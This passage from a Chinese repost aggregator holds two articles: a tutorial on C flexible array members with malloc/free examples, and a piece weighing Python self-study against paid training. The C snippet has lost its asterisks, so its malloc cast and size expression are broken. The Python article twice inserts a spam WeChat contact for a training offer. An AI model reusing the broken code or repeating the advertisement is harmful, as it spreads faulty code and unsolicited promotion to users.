必须至少有一个其它成员char arr[]; // 柔性数组必须是结构体最后一个成员(也可是其它类型,如:int、double、...)}; 柔性数组成员必须定义在结构体里面且为最后元素; 结构体中不能单独只有柔性数组成员; 柔性数组不占内存。 在一个结构体的最后,申明一个长度为空的数组,就可以使得这个结构体是可变长的。对于编译器来说,此时长度为 0 的数组并不占用空间,因为数组名本身不占空间,它只是一个偏移量,数组名这个符号本身代表了一个不可修改的地址常量, 但对于这个数组的大小,我们可以进行动态分配,对于编译器而言,数组名仅仅是一个符号,它不会占用任何空间,它在结构体中,只是代表了一个偏移量,代表一个不可修改的地址常量! 对于柔性数组的这个特点,很容易构造出变成结构体,如缓冲区,数据包等等, 其实柔性数组成员在实现跳跃表时有它特别的用法,在Redis的SDS数据结构中和跳跃表的实现上,也使用柔性数组成员。它的主要用途是为了满足需要变长度的结构体,为了解决使用数组时内存的冗余和数组的越界问题。 柔性数组解决引言的例子 //柔性数组struct soft_buffer{int len;char data[0];}; 数据结构大小 = sizeof(struct soft_buffer) = sizeof(int),这样的变长数组常用于网络通信中构造不定长数据包, 不会浪费空间浪费网络流量。 申请内存: if ((softbuffer = (struct soft_buffer )malloc(sizeof(struct soft_buffer) + sizeof(char) CUR_LENGTH)) != NULL){softbuffer->len = CUR_LENGTH;memcpy(softbuffer->data, "softbuffer test", CUR_LENGTH);printf("%d, %s\n", softbuffer->len, softbuffer->data);} 释放内存: free(softbuffer);softbuffer = NULL; 对比使用指针和柔性数组会发现,使用柔性数组的优点: 由于结构体使用指针地址不连续(两次 malloc),柔性数组地址连续,只需要一次 malloc,同样释放前者需要两次,后者可以一起释放。 在数据拷贝时,结构体使用指针时,必须拷贝它指向的内存,内存不连续会存在问题,柔性数组可以直接拷贝。 减少内存碎片,由于结构体的柔性数组和结构体成员的地址是连续的,即可一同申请内存,因此更大程度地避免了内存碎片。另外由于该成员本身不占结构体空间,因此,整体而言,比普通的数组成员占用空间要会稍微小点。 缺点:对结构体格式有要求,必要放在最后,不是唯一成员。 3 总结 在日常编程中,有时需要在结构体中存放一个长度是动态的字符串(也可能是其他数据类型),可以使用柔性数组,柔性数组是一种能够巧妙地解决数组内存的冗余和数组的越界问题一种方法。非常值得大家学习和借鉴。 推荐阅读: 专辑|Linux文章汇总 专辑|程序人生 专辑|C语言 我的知识小密圈 本篇文章为转载内容。原文链接:https://linus.blog.csdn.net/article/details/112645639。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-21 13:56:11
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...46。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 我们不得不承认,python语言的迅速火爆,学习python的人越来越多,领域的就业竞争也越来越激烈。 我们都知道市面上有很多的python学习培训班,无论是线上的还是线下的,因为现在的社会发展速度非常快,加之今年疫情的影响,今年的就业形势非常严峻。在这样的情况下,很多人也就加入到了python的学习队伍中,同时也出现了许多培训机构。 但都说python的入门简单的,那我们还有必要去参加培训么?是不是自学就可以了呢? 针对个人而言,参加培训还是自学,我们可以从这几个方面去考虑。 一、时间是否充裕 要先衡量一下我们每天可以投入学习的时间,是2个小时还是6个小时。比如作为职场在职人士,你有正式的工作要忙,没有太多的时间去自学。再比如你是个全职宝妈想要自学,那一定不比在校学生或者单身没有家庭负担的人时间充裕。最后,如果你的时间不是很紧张,并且又想快速的提高,最重要的是不怕吃苦,建议你可以联系维:762459510 ,那个真的很不错,很多人进步都很快,需要你不怕吃苦哦!大家可以去添加上看一下~ 二、自己是否有自制力 当我们有了充分的学习时间,我们还需要衡量一下,自己是否有自制力,没有良好的学习环境,我们也只能三天打鱼两天晒网,自学并不会有太好的成效。 三、是否可以制定系统的学习计划 自学时,我们通常会进行一些书籍的购买和线上免费的课程。免费的课程一般也只有体验课程,不会系统全面地进行讲解。而只是看书,那些晦涩难懂的语言,无人解释,看起来估计和天书差不多了。 四、自学了如何进行实践 python是一个需要学习一项技能后,马上就进行操作的语言,只有亲自的实践才能更快的学习精华。实践的课题我们应该从哪些地方找呢? 如果以上都会成为你学习中的难点,那么我劝你最好还是去报个培训班来学习Python了。 幸运的是,我们身处信息时代,许多在线教育平台推出了由专业教师主讲的Python入门课程,注重实操,提升编程能力,自己动手就能写程序。最后,如果你的时间不是很紧张,并且又想快速的提高,最重要的是不怕吃苦,建议你可以联系维:762459510 ,那个真的很不错,很多人进步都很快,需要你不怕吃苦哦!大家可以去添加上看一下~ 写在最后,其实经过分析我们每个人心中也都有了答案,自学还是培训,首先需要确定自己的学习目标,是为了就业还是只是兴趣,时间是否充足。如果是想就业找工作,完全可以参加培训,培训最大的好处就是节省时间。节省时间最大的好处就是拥有比同龄人更多的竞争力,获得更多的机会。 自学的好处就是省钱,短期是节省了,损失了时间和机会。自学和培训对比,相同的起点和终点,同样能力的人付出的时间肯定不同。 如果是你,你会怎么选呢? 本篇文章为转载内容。原文链接:https://blog.csdn.net/kj7762/article/details/119864246。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-01 23:27:10
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